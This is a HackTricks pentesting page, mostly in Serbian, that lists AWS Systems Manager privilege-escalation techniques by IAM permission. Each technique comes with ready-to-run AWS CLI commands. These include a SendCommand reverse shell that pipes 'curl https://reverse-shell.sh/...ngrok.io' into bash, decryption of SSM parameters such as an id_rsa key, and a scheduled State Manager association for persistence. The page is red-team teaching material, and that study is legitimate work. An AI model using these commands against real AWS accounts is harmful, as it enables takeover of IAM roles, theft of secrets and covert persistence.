AWS - SSM Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SSM

Za više informacija o SSM pogledajte:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Napadač sa dozvolom ssm:SendCommand može izvršavati komande na instancama koje pokreću Amazon SSM Agent i kompromitovati IAM Role koja se u njima izvršava.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Ako koristite ovu tehniku da biste izvršili escalate privileges unutar već kompromitovanog EC2 instance, možete jednostavno capture rev shell lokalno pomoću:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potencijalni uticaj: Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama sa SSM Agents.

ssm:StartSession

Napadač koji ima dozvolu ssm:StartSession može pokrenuti SSH-sličnu sesiju na instancama koje koriste Amazon SSM Agent i kompromitovati IAM Role koja se u njima izvršava.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potencijalni uticaj: Direktan privesc na EC2 IAM role pridružene pokrenutim instancama sa SSM Agentima.

Privesc na ECS

Kada ECS tasks rade sa ExecuteCommand enabled korisnici sa dovoljnim privilegijama mogu koristiti ecs execute-command da izvrše komandu unutar kontejnera.
Prema the documentation ovo se radi kreiranjem sigurnog kanala između uređaja koji koristite da pokrenete “exec“ komandu i ciljanog kontejnera pomoću SSM Session Manager. (SSM Session Manager Plugin neophodan da ovo radi)
Stoga, korisnici sa ssm:StartSession biće u stanju da dobiju shell unutar ECS tasks sa tom opcijom omogućenim jednostavnim pokretanjem:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potencijalni uticaj: Direct privesc na ECSIAM roles pridružene pokrenutim tasks sa ExecuteCommand omogućenim.

ssm:ResumeSession

Napadač sa dozvolom ssm:ResumeSession može re-start a SSH like session in instances koje pokreću Amazon SSM Agent kada je SSM session state disconnected i tako može compromise the IAM Role koja se izvršava unutar nje.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencijalni uticaj: Direktan privesc do EC2 IAM roles pridruženih pokrenutim instancama sa aktivnim SSM Agents i prekinutim sesijama.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Napadač sa pomenutim permisijama moći će da izlista SSM parameters i pročita ih u čistom tekstu. U tim parametrima često možete naći osetljive informacije kao što su SSH keys ili API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencijalni uticaj: Pronaći osetljive informacije unutar parametara.

ssm:ListCommands

Napadač sa ovom dozvolom može da nabroji sve poslate commands i, po mogućnosti, pronađe osetljive informacije u njima.

aws ssm list-commands

Potencijalni uticaj: Pronalazak osetljivih informacija unutar komandnih linija.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Napadač sa ovim dozvolama može da navede sve poslate komande i da pročita generisani izlaz, nadajući se da će pronaći osetljive informacije u njima.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencijalni uticaj: Pronalaženje osetljivih informacija u izlazu komandnih linija.

Using ssm:CreateAssociation

Napadač sa dozvolom ssm:CreateAssociation može kreirati State Manager Association da automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove asociacije se mogu konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Ovaj metod persistencije funkcioniše sve dok je EC2 instanca pod upravom Systems Manager, SSM agent je pokrenut, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne ssm:SendCommand dozvole. Važno: parametar --schedule-expression (npr. rate(30 minutes)) mora poštovati AWS-ov minimalni interval od 30 minuta. Za trenutnu ili jednokratnu izvršavanje, potpuno izostavite --schedule-expression — association će se izvršiti jednom nakon kreiranja.

Codebuild

Možete takođe koristiti SSM da uđete u codebuild projekat koji se gradi:

AWS - Codebuild Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks